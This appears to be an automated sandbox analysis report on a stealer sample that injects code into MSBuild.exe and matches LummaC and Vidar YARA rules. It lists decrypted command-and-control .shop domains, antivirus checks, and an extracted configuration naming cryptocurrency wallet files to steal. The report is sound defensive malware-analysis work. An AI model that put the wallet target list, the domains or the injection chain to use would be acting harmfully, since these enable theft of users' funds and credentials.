Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_00419BD5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_00419BD5
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 1lKbb2hF7fYToopfpmEvlyRN.exe PID: 7252, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: DBAAFIDGDA.exe PID: 7796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7828, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040ED80 memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread, 1_2_0040ED80
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: indexterityszcoxp.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: lariatedzugspd.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: callosallsaospz.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: outpointsozp.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: liernessfornicsa.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: upknittsoappz.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: shepherdlyopzc.shop
Source: DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000052C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: unseaffarignsk.shop
Searches for specific processes (likely to inject)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification, 1_2_00411400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_004112F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 1_2_004112F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040F8A5 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 6_2_0040F8A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0040F7CA _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 6_2_0040F7CA
Writes to foreign memory regions
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 420000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 428000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63D000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63E000 Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B87008 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41D000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 425000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63A000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 63B000 Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: BF3008 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 440000 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 450000 Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 8AD008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DBAAFIDGDA.exe "C:\ProgramData\DBAAFIDGDA.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process created: C:\ProgramData\DGDBKFBAKF.exe "C:\ProgramData\DGDBKFBAKF.exe" Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_6C794760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free, 1_2_6C794760
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00401000 cpuid 1_2_00401000
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 1_2_0040FC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 6_2_0040E455
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Queries volume information: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Queries volume information: C:\ProgramData\DBAAFIDGDA.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\DBAAFIDGDA.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Queries volume information: C:\ProgramData\DGDBKFBAKF.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\DGDBKFBAKF.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0041A440 GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z, 1_2_0041A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040FAE0 GetProcessHeap,HeapAlloc,GetUserNameA, 1_2_0040FAE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_0040FBC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 1_2_0040FBC0
Source: C:\Users\user\Desktop\1lKbb2hF7fYToopfpmEvlyRN.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001100000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2623692581.0000000001077000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4c06f40.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4c06f40.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4165990.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.4165990.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.49a3090.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.41b99f0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43531c0.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.4975860.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.DBAAFIDGDA.exe.41b99f0.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.4975860.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43809f0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.49a3090.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43531c0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1lKbb2hF7fYToopfpmEvlyRN.exe.43809f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 1lKbb2hF7fYToopfpmEvlyRN.exe PID: 7252, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7280, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: DBAAFIDGDA.exe PID: 7796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 7828, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: MSBuild.exe String found in binary or memory: ElectrumLTC
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp String found in binary or memory: rjAXxB1AqwMLVddxGLc9
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
